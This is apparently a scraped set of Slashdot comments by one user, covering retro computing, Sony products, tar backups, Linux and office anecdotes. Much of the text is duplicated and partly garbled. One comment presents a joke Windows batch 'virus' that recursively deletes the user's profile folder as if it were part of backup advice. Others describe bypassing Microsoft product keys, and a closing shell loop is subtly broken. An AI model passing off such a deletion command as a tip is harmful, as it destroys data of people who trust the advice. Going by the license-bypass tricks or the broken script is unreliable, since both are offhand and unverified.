Oh, the memories. Just after Asteroids came out and I was addicted, but didn't have a lot of quarters, my dad bought one of these. After he put it together, it had a whopping 32k of RAM and a single hard-sectored disk. My first conversations about the H-89 with my dad went something like this:
Me: "Dad, can I play games on this computer?"
Dad: "No. They don't make games for it"
Me: "Well, could you program one for me?"
Dad: "No. I don't have time"
Me: "Well, could I program one?"
Dad: "I don't know, but I don't think so."
A year later, I have a fully working version on Pac-Man and knowledge of 8080 assembly (the crappy HDOS basic was useless). The tricky parts of the game was dealing with the 9.6 serial line between the terminal and the CPU, the lack of addressable video RAM. It was like programming Pac-Man for a telnet session. The hardest part, though was the monster AI. I could only have 2, because of the 9.6 limit, so I had to make them bad-asses. My dad helped me with a 128 bit shift-register random generator which made my 2 monsters as hard as the arcade games 4. I also spent a lot of time on game play, ensuring the controls worked exactly like the arcades.
I think my elevators at work also are made by Microsoft, as they usually spend most of their time in the basement sulking. I saw a recent article in the Wall Street Journal about a "Merger of Equals" between Microsoft (MSFT, chart, qoute) and Sirius Cybernetics Corporation (SCCX, chart, quote). According to the article, each company intends to leverage each others strengths, combining Microsofts "It Just Works (TM)" with Sirius Cybernetics Corporation's "Genuine People Personalities (TM)". According the the article, the combined technologies will be called "Windows Genuine Advantage".
Way back in the mid 80s to the mid 90s, Sony one of the best companies. I had one of the original Walkmans which I carried (unknown to the drill sergeants) thoughout basic training. I still use an Sony alarm clock I bought in 92. I also bought a sweet 15" flat screen monitor from them back in 95 (paid extra for it too), and it was worth every penny. I had it for years. Then in the late 90s, things started changing. At work, we got 17" and 19" Sony monitors. All of them fried in the first year and had to be replaced. Another 15" monitor I bought also fried in the first year, and I started avoiding sony products.
Then there was the rootkit disaster, and now this. A brand new Sony DVD player that wont play brand new Sony DVDs?
I used to play Defender of the Crown on the C-64, and it was a total blast. The graphics and sound were awesome. I don't think PC games came close until Doom.
Just use tar. Tar has the -t (test archive) and the -z (compress). Using compression by nature has checksums. After you create your backup using tar -cvzf options, you can test that same archive using the tar -tvzf options. You will definiately know if you get errors.
This also works well on AIX, except you have to change "Linux" to "AIX". For Windows, you need to make a few more changes:
@echo off
echo "You're being infected with the Idiotisco, the second most stupid Windows virus"
rd/s/q %USERPROFILE%\*
Disclaimer: This virus is now available from El_Oscuro but it is only intended to correct the problem that is described in thie the parent post. Apply it only to computers that do not already have this virus. This virus may receive additional testing. Therefore, if you are not severely affected by this virus, El_Oscuro recommends that you wait for the next Windows service pack that contains this virus.
Neither El_Oscuro, inc, nor any of its subsiduraries, assume any responsibilty for any damage to your computer caused by this virus, or the lack thereof.
I know no one on Slashdot reads TFA, but you need to. Some things should be required, like building your own PC or Lightsaber, or reading HHGTTG. Those who wish to learn more should go to http://www.bbc.co.uk/radio4/hitchhikers/game_andre w.shtml.
I wonder how the county commissioners' office is handling getting "slashdotted"? Their website is http://www.co.missoula.mt.us/ if you would like to help.
It seems to me about 15 years ago, the state of Washington voted for term limits. Their congressman didn't want to leave and won in court (I think the newspaper headline read "Foley vs. The People". Anyway, they canned him in the next election, despite being the house majority leader.
Missoula's count commissioners should probably start polishing their resumes, if there is anything else they they are compentant at.
They can get hurricane force winds there this time of year, without the actual hurricanes. Blew my 600 pound motorcycle off the centerstand once, sandblasted the paint off the side of a Jeep, and blew the roof off one of our buildings. Might make for some weather delays and pissed off passengers. I hope those rockets don't have vulnerable O-rings, becuase it gets COLD in the winter.
I bought mine from http://www.custombarebones.com/. You can order systems with Linux preinstalled (Redhat, Fedora, or SUSE) including CDs, no OS, dual boot, etc. You can get exactly anything you want, and the build quality is the same or better than Dell or HP.
I agree. The distro should be geared towards end users who barely know what Linux is. They are not going to reformat and install slackware or debian, or whatever. They are just going to plug theier computer in and expect everything to work.
This includes proprietory codecs like MP3 and DVDs. The users are not going to care if the driver or codec is open source or not, just that they can play MP3s and their frickin 3-D video card works right.
The most "Windows consumer friendly" distros out now are Ubuntu and Linspire http://www.linspire.com/linspire_letter.php/ (the new version which is Ubuntu based). And make sure all of the codecs and stuff work. No crappy geek user interfaces from sourceforge.
Also, providing a small (dead tree) manual on how to use the computer (open office, web browsing, email, MP3s and DVDs, installing software with CNR, etc, like SUSE) would be of great benefit to newbies, even if they are Windows power users.
The "all ones" key works for every MS product that had numeric keys that I have ever tried (Visual Studio 6.0, Source Safe, etc). Even to this day, when someone asks for help installing Source Safe, I just tell them to enter "all ones" as the Super Secret;) key. I never bothered with the real key, which I had, since it was such a PITA to type.
Remember the Windows 95 upgrade edition? You could turn it into the full edition by starting the boot disk, going to the C:\> prompt, and typing:
C:\>dir > NTLDR
I got this from MS support. Worked great when I had to install my "upgrade" edition from scratch.
In the 1980s, there was lots of debate about the existance of secret planes like the B-2 and steath fighters. Finally, one day, they showed them on CNN and said "Oh, yeah, we had this stuff in regular flight ops for 10 years.
Of course, we are kinder and genteler now, so we would never do sneaky stuff like this anymore...
I used to use Turbotax years ago, before the licensing became onerous. One year, I sold a house after renting it with option to buy. This confused Turbotax so much that it went off on tangents such as vacation homes, etc. There didn't seem to be any option for rent with option to buy in the program. Finally after several hours of fustration, I gave up and hired a CPA. Guy got me 5k more than Turotax would have. I would trust any program, commerical or OS with anything as complex as my taxes.
These days, the idea of having all of my tax information on a Windows PC with tax software that phones home is unthinkable.
Commerical software has the accounting resources, but has onerous licensing terms, as well as running on a insecure platform. Even so, my experience is that the commerical programs don't work very well unless your taxes are simple. For OS, it is hard to imagine it being viable without CPAs involved in the design. And last time I checked, CPAs don't work for free.
I bought an el-cheapo Kodak camera from Best Buy last November. After taking several pictures of my kids playing in the leaves, the memory was full and I needed to transfer it to a PC. Since it was a USB camera, I plugged it into a Windows computer stupidly thinking it would recognize it and I could copy the photos from the camera to the harddrive. Nothing. I tried to get Windows to search the CD for drivers so I could see my camera. Still no dice. Finally, I ran the setup program on the CD, which installed 100mb of crap. I was finally able to copy my photos, but it took a half hour and just seemed to be such a PITA. The photo management software sucked too.
Exasperated, I plugged the camera into the USB port on my SUSE machine, not expecting anything (I mean, if it is not recoginzed by Windows, it must be some really off the wall crap, and would be a PITA with anything). Much to my supprise, as soon as I connected it, a dialog box came up indicating a camera was dectected, and would I like to import my photos with F-Spot? Click yes. Now, F-Spot handles my rapidly growing photo colection exclusively, and is easy enough to use that I can ACTUALLY FIND my photos too.
This kind of stuff usually works, and not just for employment agreements or large companies.
Years ago I worked for a typical IT consultant company and was paid hourly. One day, our PHB decided they needed everyone to turn in their timesheets 1 day early, before the pay period had ended, for some accounting bullshit. Since I was paid by the hour, and have seen people get fired for timesheet discrepencies, I objected to this policy. The conversation went something like this:
Me: "How can I put hours on a timesheet that I haven't yet worked, Isn't that illegal?
PHB: "If the hours you work tommorow are different that what you write today, just submit a timesheet correction for the next pay period."
Me: "That is a real PITA, and besides, the timesheet says the hours must accurately reflect the hours worked (past tense)"
PHB: "Ok, just write "estimate" on your timesheet, and correct it later if you need to"
Me: I submit a few timesheets with "ESTIMATE" clearly written on them.
PHB: "The estimate written on your timesheet is too large. You will need to make it smaller"
Me: We had spreadsheet we filled out and printed when we submitted the timesheet. In microscopic fonts at the bottom of the timesheet was the legalese:
"I certify this timesheet represents all hours worked during the pay period, and this timesheet is accurate to the best of my knowledge"
I changed it legalese in the spreadsheet to:
"I certify this timesheet is an estimate submitted prior to the pay period ending, and is accurate to the best of my knowledge. Any adjustments
required to this timesheet will submitted as separate correction form during the next pay period.
I submitted my timesheets that way for the next couple years and never had any problems with the PHB again.
Slashdot Mirror
Oh, the memories. Just after Asteroids came out and I was addicted, but didn't have a lot of quarters, my dad bought one of these. After he put it together, it had a whopping 32k of RAM and a single hard-sectored disk. My first conversations about the H-89 with my dad went something like this:
Me: "Dad, can I play games on this computer?"
Dad: "No. They don't make games for it"
Me: "Well, could you program one for me?"
Dad: "No. I don't have time"
Me: "Well, could I program one?"
Dad: "I don't know, but I don't think so."
A year later, I have a fully working version on Pac-Man and knowledge of 8080 assembly (the crappy HDOS basic was useless). The tricky parts of the game was dealing with the 9.6 serial line between the terminal and the CPU, the lack of addressable video RAM. It was like programming Pac-Man for a telnet session. The hardest part, though was the monster AI. I could only have 2, because of the 9.6 limit, so I had to make them bad-asses. My dad helped me with a 128 bit shift-register random generator which made my 2 monsters as hard as the arcade games 4. I also spent a lot of time on game play, ensuring the controls worked exactly like the arcades.
Thats how I go started. Now I read /.
I think my elevators at work also are made by Microsoft, as they usually spend most of their time in the basement sulking. I saw a recent article in the Wall Street Journal about a "Merger of Equals" between Microsoft (MSFT, chart, qoute) and Sirius Cybernetics Corporation (SCCX, chart, quote). According to the article, each company intends to leverage each others strengths, combining Microsofts "It Just Works (TM)" with Sirius Cybernetics Corporation's "Genuine People Personalities (TM)". According the the article, the combined technologies will be called "Windows Genuine Advantage".
Douglas Adams was a prophet.
Way back in the mid 80s to the mid 90s, Sony one of the best companies. I had one of the original Walkmans which I carried (unknown to the drill sergeants) thoughout basic training. I still use an Sony alarm clock I bought in 92. I also bought a sweet 15" flat screen monitor from them back in 95 (paid extra for it too), and it was worth every penny. I had it for years. Then in the late 90s, things started changing. At work, we got 17" and 19" Sony monitors. All of them fried in the first year and had to be replaced. Another 15" monitor I bought also fried in the first year, and I started avoiding sony products.
Then there was the rootkit disaster, and now this. A brand new Sony DVD player that wont play brand new Sony DVDs?
I used to play Defender of the Crown on the C-64, and it was a total blast. The graphics and sound were awesome. I don't think PC games came close until Doom.
They think they deleted it, the same way you thought you voted.
got backups?
Just use tar. Tar has the -t (test archive) and the -z (compress). Using compression by nature has checksums. After you create your backup using tar -cvzf options, you can test that same archive using the tar -tvzf options. You will definiately know if you get errors.
This also works well on AIX, except you have to change "Linux" to "AIX". For Windows, you need to make a few more changes:
@echo offecho "You're being infected with the Idiotisco, the second most stupid Windows virus"
rd
Disclaimer: This virus is now available from El_Oscuro but it is only intended to correct the problem that is described in thie the parent post. Apply it only to computers that do not already have this virus. This virus may receive additional testing. Therefore, if you are not severely affected by this virus, El_Oscuro recommends that you wait for the next Windows service pack that contains this virus.
Neither El_Oscuro, inc, nor any of its subsiduraries, assume any responsibilty for any damage to your computer caused by this virus, or the lack thereof.
I know no one on Slashdot reads TFA, but you need to. Some things should be required, like building your own PC or Lightsaber, or reading HHGTTG. Those who wish to learn more should go to http://www.bbc.co.uk/radio4/hitchhikers/game_andre w.shtml.
I wonder how the county commissioners' office is handling getting "slashdotted"? Their website is http://www.co.missoula.mt.us/ if you would like to help.
I think I voted on our hacked Diabold machines. I even got my official (hacked) "I think I voted" sticker, which I wore proudly that day.
It seems to me about 15 years ago, the state of Washington voted for term limits. Their congressman didn't want to leave and won in court (I think the newspaper headline read "Foley vs. The People". Anyway, they canned him in the next election, despite being the house majority leader.
Missoula's count commissioners should probably start polishing their resumes, if there is anything else they they are compentant at.
They can get hurricane force winds there this time of year, without the actual hurricanes. Blew my 600 pound motorcycle off the centerstand once, sandblasted the paint off the side of a Jeep, and blew the roof off one of our buildings. Might make for some weather delays and pissed off passengers. I hope those rockets don't have vulnerable O-rings, becuase it gets COLD in the winter.
You mean like google, amazon, etrade, or paypal http://www.netcraft.com/? Nah, I guess hackers would never consider those valuable targets.
Have you patched your Norton Antivirus on your Windows servers? If not, you might want to read this http://www.kb.cert.org/vuls/id/404910/.
I bought mine from http://www.custombarebones.com/. You can order systems with Linux preinstalled (Redhat, Fedora, or SUSE) including CDs, no OS, dual boot, etc. You can get exactly anything you want, and the build quality is the same or better than Dell or HP.
I agree. The distro should be geared towards end users who barely know what Linux is. They are not going to reformat and install slackware or debian, or whatever. They are just going to plug theier computer in and expect everything to work.
This includes proprietory codecs like MP3 and DVDs. The users are not going to care if the driver or codec is open source or not, just that they can play MP3s and their frickin 3-D video card works right.
The most "Windows consumer friendly" distros out now are Ubuntu and Linspire http://www.linspire.com/linspire_letter.php/ (the new version which is Ubuntu based). And make sure all of the codecs and stuff work. No crappy geek user interfaces from sourceforge.
Also, providing a small (dead tree) manual on how to use the computer (open office, web browsing, email, MP3s and DVDs, installing software with CNR, etc, like SUSE) would be of great benefit to newbies, even if they are Windows power users.
Google actually uses a stripped down, highly modified Redhat distro to run their servers (about 250,000 of them) that execute your search queries. http://www.internetnews.com/xSP/article.php/348704 1/
The "all ones" key works for every MS product that had numeric keys that I have ever tried (Visual Studio 6.0, Source Safe, etc). Even to this day, when someone asks for help installing Source Safe, I just tell them to enter "all ones" as the Super Secret ;) key. I never bothered with the real key, which I had, since it was such a PITA to type.
Remember the Windows 95 upgrade edition? You could turn it into the full edition by starting the boot disk, going to the C:\> prompt, and typing:
C:\>dir > NTLDR
I got this from MS support. Worked great when I had to install my "upgrade" edition from scratch.
We used to park submarines off the coast of Murmansk and tap their underwater cables. http://www.amazon.com/Blind-Mans-Bluff-Submarine-E spionage/dp/006097771X/ref=pd_bxgy_b_text_b/104-15 93460-8987142?ie=UTF8&qid=1173741745&sr=1-38
In the 1980s, there was lots of debate about the existance of secret planes like the B-2 and steath fighters. Finally, one day, they showed them on CNN and said "Oh, yeah, we had this stuff in regular flight ops for 10 years.
Of course, we are kinder and genteler now, so we would never do sneaky stuff like this anymore...
The next release of DOS wasn't ready until Lotus wouldn't run on it.
I used to use Turbotax years ago, before the licensing became onerous. One year, I sold a house after renting it with option to buy. This confused Turbotax so much that it went off on tangents such as vacation homes, etc. There didn't seem to be any option for rent with option to buy in the program. Finally after several hours of fustration, I gave up and hired a CPA. Guy got me 5k more than Turotax would have. I would trust any program, commerical or OS with anything as complex as my taxes.
These days, the idea of having all of my tax information on a Windows PC with tax software that phones home is unthinkable.
Commerical software has the accounting resources, but has onerous licensing terms, as well as running on a insecure platform. Even so, my experience is that the commerical programs don't work very well unless your taxes are simple. For OS, it is hard to imagine it being viable without CPAs involved in the design. And last time I checked, CPAs don't work for free.
I bought an el-cheapo Kodak camera from Best Buy last November. After taking several pictures of my kids playing in the leaves, the memory was full and I needed to transfer it to a PC. Since it was a USB camera, I plugged it into a Windows computer stupidly thinking it would recognize it and I could copy the photos from the camera to the harddrive. Nothing. I tried to get Windows to search the CD for drivers so I could see my camera. Still no dice. Finally, I ran the setup program on the CD, which installed 100mb of crap. I was finally able to copy my photos, but it took a half hour and just seemed to be such a PITA. The photo management software sucked too.
Exasperated, I plugged the camera into the USB port on my SUSE machine, not expecting anything (I mean, if it is not recoginzed by Windows, it must be some really off the wall crap, and would be a PITA with anything). Much to my supprise, as soon as I connected it, a dialog box came up indicating a camera was dectected, and would I like to import my photos with F-Spot? Click yes. Now, F-Spot handles my rapidly growing photo colection exclusively, and is easy enough to use that I can ACTUALLY FIND my photos too.
This kind of stuff usually works, and not just for employment agreements or large companies.
Years ago I worked for a typical IT consultant company and was paid hourly. One day, our PHB decided they needed everyone to turn in their timesheets 1 day early, before the pay period had ended, for some accounting bullshit. Since I was paid by the hour, and have seen people get fired for timesheet discrepencies, I objected to this policy. The conversation went something like this:
"I certify this timesheet represents all hours worked during the pay period, and this timesheet is accurate to the best of my knowledge"
I changed it legalese in the spreadsheet to:
"I certify this timesheet is an estimate submitted prior to the pay period ending, and is accurate to the best of my knowledge. Any adjustments required to this timesheet will submitted as separate correction form during the next pay period.
I submitted my timesheets that way for the next couple years and never had any problems with the PHB again.
What would really rock is if they came pre installed with a C-64 emulator and as many of the old game roms they could get distribution rights for.
ls *.wav | while read infile
do
outfile=`echo test.wav | sed s/.wav/.mp3/`
lame -h $infile $outfile
done
.